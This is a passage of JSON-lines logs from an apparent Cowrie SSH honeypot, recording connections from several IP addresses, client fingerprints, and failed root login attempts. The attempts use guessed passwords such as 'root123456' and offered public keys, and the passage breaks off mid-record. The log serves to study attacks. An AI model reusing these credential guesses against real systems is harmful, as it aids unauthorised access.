{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:3f:45:b9:7e:5c:46:d7:b8:61:9e:bf:32:f6:67:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7TLoukBBDuEBX8a8ThDqGfJwc8D5NgSvL9DwKcnqNG4S5uFjhq0GlZXfhLAcMyD7fej36NJVYFvjGF6IC2u31Be4qYGTGXldXBbSiphVp1p1NxxE26Bf3/VFG6Zl48Eku4yUof9B+b3cRA27uuXLd8q5d2MIzkkQ0zBog4MGg4CRrcMS0f5+oJUtBFegEeMN3WN6AYyQnfR16DZghUyxrcge5ty6LbtrZhwv/sZt1jcfv3hvTqpIxYRS0IvVCw6La2j/HTYI+5QYfHV5gPl/0a/MbIorKGQa52I/VBDU8q1gsOkLwBOAa89VEF0vDqJrQ8JhDpbo1025bK9wNrTkV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:00.275669Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:00.363358Z","src_ip":"104.194.8.142","session":"9fcf49061089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":41338,"dst_ip":"10.17.0.5","dst_port":22,"session":"e30a80c1f285","protocol":"ssh","message":"New connection: 115.135.235.126:41338 (10.17.0.5:22) [session: e30a80c1f285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:10.932359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:10.936889Z","src_ip":"115.135.235.126","session":"e30a80c1f285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:11.201606Z","src_ip":"115.135.235.126","session":"e30a80c1f285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":34430,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ea2a3c2256","protocol":"ssh","message":"New connection: 45.173.103.113:34430 (10.17.0.5:22) [session: 71ea2a3c2256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:11.652735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:11.657685Z","src_ip":"45.173.103.113","session":"71ea2a3c2256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:11.767026Z","src_ip":"45.173.103.113","session":"71ea2a3c2256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm@123","message":"login attempt [root/zxcvbnm@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:12.215929Z","src_ip":"45.173.103.113","session":"71ea2a3c2256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tb","password":"tb","message":"login attempt [tb/tb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:12.405508Z","src_ip":"115.135.235.126","session":"e30a80c1f285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:13.323277Z","src_ip":"45.173.103.113","session":"71ea2a3c2256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:13.697078Z","src_ip":"115.135.235.126","session":"e30a80c1f285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46432,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4cb00ae2c2b","protocol":"ssh","message":"New connection: 103.149.28.157:46432 (10.17.0.5:22) [session: a4cb00ae2c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:26.621719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:26.625847Z","src_ip":"103.149.28.157","session":"a4cb00ae2c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb4fcfb42aa3","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: eb4fcfb42aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:26.683366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:26.687744Z","src_ip":"23.97.62.150","session":"eb4fcfb42aa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:26.873368Z","src_ip":"103.149.28.157","session":"a4cb00ae2c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:26.925281Z","src_ip":"23.97.62.150","session":"eb4fcfb42aa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15963q","message":"login attempt [root/15963q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:27.618826Z","src_ip":"103.149.28.157","session":"a4cb00ae2c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:27.632183Z","src_ip":"23.97.62.150","session":"eb4fcfb42aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:28.869205Z","src_ip":"103.149.28.157","session":"a4cb00ae2c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:08:28.874012Z","src_ip":"23.97.62.150","session":"eb4fcfb42aa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.45.254","src_port":51982,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c732f4db378","protocol":"ssh","message":"New connection: 45.43.45.254:51982 (10.17.0.5:22) [session: 2c732f4db378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:18.591173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:18.596591Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:18.853107Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:0f:76:47:87:95:77:d4:fb:16:f0:53:3c:76:b9:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC97RyHSdR4NNRcuOh2gCRUTDoxDZOOPGPiiczFfSDI8rmLnEBPiNjBrahC3dUbiWIX5+qdMvdHQVnC0Mh8NYo2lYSiiJR99QvnDIKPG1RUMhcDd1UtJp8TylabPqiSgiSGE+qB2zLHmoz+21kgr3LvCcPTKUI4zLrwvEZU61qfWdmbb9pTi2f3Qr0Ep8Njl6M+sPE55h9+bidV4ZbDzF1LAHWSWGw1EoPhhxV6n1HR0RZYGODZemGVsmkv5j6xLr4/zCGELUhPMoxJeZTCwPI89QvhhqmD6AHPTd7H1ldPA4Bew8Vxp5A6dzg7Qp527r4YcUU1rOfMVLCA2MmC0Dup","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:0f:76:47:87:95:77:d4:fb:16:f0:53:3c:76:b9:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:20.111118Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:0f:76:47:87:95:77:d4:fb:16:f0:53:3c:76:b9:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC97RyHSdR4NNRcuOh2gCRUTDoxDZOOPGPiiczFfSDI8rmLnEBPiNjBrahC3dUbiWIX5+qdMvdHQVnC0Mh8NYo2lYSiiJR99QvnDIKPG1RUMhcDd1UtJp8TylabPqiSgiSGE+qB2zLHmoz+21kgr3LvCcPTKUI4zLrwvEZU61qfWdmbb9pTi2f3Qr0Ep8Njl6M+sPE55h9+bidV4ZbDzF1LAHWSWGw1EoPhhxV6n1HR0RZYGODZemGVsmkv5j6xLr4/zCGELUhPMoxJeZTCwPI89QvhhqmD6AHPTd7H1ldPA4Bew8Vxp5A6dzg7Qp527r4YcUU1rOfMVLCA2MmC0Dup","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:20.118751Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:d3:31:77:33:66:f1:cd:2d:de:42:d3:bc:c3:1f:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIht7HLUHOCYCVO30wndFOG1nr8wSCuPu/ABRGoz3vXtxEk6p+r+2HzkyEL5pIcnfD2KQS3WEh4/92QuEPqM8HZ0WUAuOHIKMUO+DSxUEQfN8rpHqbkjwkyt7hvALsc4Ze/r3OAXK3RtjFVZfYB5GFnU7BxucJiVABIS4YFGNXTpfPjYiQr1egjqUwIL/lpOPMQ0I/nudAR9NLHMQY8kIt0EeyTAHkMcaQxTggVp3Ty3JU/LSSRHrC36NXdW4EJjEFJCl8KZk6sBksPboeTU2A3s8jg4H4j3OMGaj+dfNOu9RkB1JBKczy7S/0KPaNRZadGOOj2Ut4KM/rPwkIbe1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:d3:31:77:33:66:f1:cd:2d:de:42:d3:bc:c3:1f:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:20.375797Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:d3:31:77:33:66:f1:cd:2d:de:42:d3:bc:c3:1f:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIht7HLUHOCYCVO30wndFOG1nr8wSCuPu/ABRGoz3vXtxEk6p+r+2HzkyEL5pIcnfD2KQS3WEh4/92QuEPqM8HZ0WUAuOHIKMUO+DSxUEQfN8rpHqbkjwkyt7hvALsc4Ze/r3OAXK3RtjFVZfYB5GFnU7BxucJiVABIS4YFGNXTpfPjYiQr1egjqUwIL/lpOPMQ0I/nudAR9NLHMQY8kIt0EeyTAHkMcaQxTggVp3Ty3JU/LSSRHrC36NXdW4EJjEFJCl8KZk6sBksPboeTU2A3s8jg4H4j3OMGaj+dfNOu9RkB1JBKczy7S/0KPaNRZadGOOj2Ut4KM/rPwkIbe1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:20.380051Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:8e:8d:83:92:af:7d:03:a5:56:d6:9c:3e:13:80:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuhOya+e838xki1gRIyjTK2yPKPM4fY5lSp+iYnruoCEFFsq0dUkq+sagIX3I+kbLHYrjvNQp7txmplbQk/PU3AmL3knlFEah+CfvsiTcVkku2gm34ineqrP7A8zXJu/pvdSKwhPMgcj4fYrRo3NzreGSQf0q01sN4DLI8MK20odhkzm+ECmg/zAcHJ7+MGrqbyclMPiCJFX+ogGmgUhXJVzgNx/wfGBuX6Hg9HKDyKq5MBgjcyMIMAzgTbUtTgvfBOKVyHosakyTsQ5YjphxVHERxpAHYd1vAFoOy71HEG7AuDmKdJrBi2W2YDefxUu2Nm6NJohTLLajM+lPg54luw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:8e:8d:83:92:af:7d:03:a5:56:d6:9c:3e:13:80:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:20.637148Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:8e:8d:83:92:af:7d:03:a5:56:d6:9c:3e:13:80:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuhOya+e838xki1gRIyjTK2yPKPM4fY5lSp+iYnruoCEFFsq0dUkq+sagIX3I+kbLHYrjvNQp7txmplbQk/PU3AmL3knlFEah+CfvsiTcVkku2gm34ineqrP7A8zXJu/pvdSKwhPMgcj4fYrRo3NzreGSQf0q01sN4DLI8MK20odhkzm+ECmg/zAcHJ7+MGrqbyclMPiCJFX+ogGmgUhXJVzgNx/wfGBuX6Hg9HKDyKq5MBgjcyMIMAzgTbUtTgvfBOKVyHosakyTsQ5YjphxVHERxpAHYd1vAFoOy71HEG7AuDmKdJrBi2W2YDefxUu2Nm6NJohTLLajM+lPg54luw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:20.641135Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:f3:c2:d1:46:5f:35:0d:2a:14:58:cf:c8:8a:0f:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVMCRy7YahETemFdxiGdpuhJpHWrw7HZMLznLceWQUgC3rBm4/3C0WwofDaFPI/q3LcT/NfxaQ6fq25lO4k17Pr3tpRVecZOkH29iRXlK7VKRRYFdD6Ao5Uom+FGP6qLqebxeYK8ub+dYH69o1ktVxC3R/n3Wni5p2JNOakjW/wtqLLunYdQpJdraSqReNvXElclj+FwFIWl8IRTnULRPs8vq8eseJNLFOB0fUKdQH5BSZ1EMOGUcBhx4NKm9BRnY9EEbFtas/4MDriZP6znQmsGeCAelw231INgWMlcstphjmiOiZrHY3MGHFsTVXiJ1AAx8yvru1kYa/TZYztqLL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:f3:c2:d1:46:5f:35:0d:2a:14:58:cf:c8:8a:0f:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:20.898541Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:f3:c2:d1:46:5f:35:0d:2a:14:58:cf:c8:8a:0f:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVMCRy7YahETemFdxiGdpuhJpHWrw7HZMLznLceWQUgC3rBm4/3C0WwofDaFPI/q3LcT/NfxaQ6fq25lO4k17Pr3tpRVecZOkH29iRXlK7VKRRYFdD6Ao5Uom+FGP6qLqebxeYK8ub+dYH69o1ktVxC3R/n3Wni5p2JNOakjW/wtqLLunYdQpJdraSqReNvXElclj+FwFIWl8IRTnULRPs8vq8eseJNLFOB0fUKdQH5BSZ1EMOGUcBhx4NKm9BRnY9EEbFtas/4MDriZP6znQmsGeCAelw231INgWMlcstphjmiOiZrHY3MGHFsTVXiJ1AAx8yvru1kYa/TZYztqLL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:20.902359Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:7e:63:f9:c8:5f:91:f9:12:2b:27:d0:a5:6a:6f:97","key":"ssh-rsa 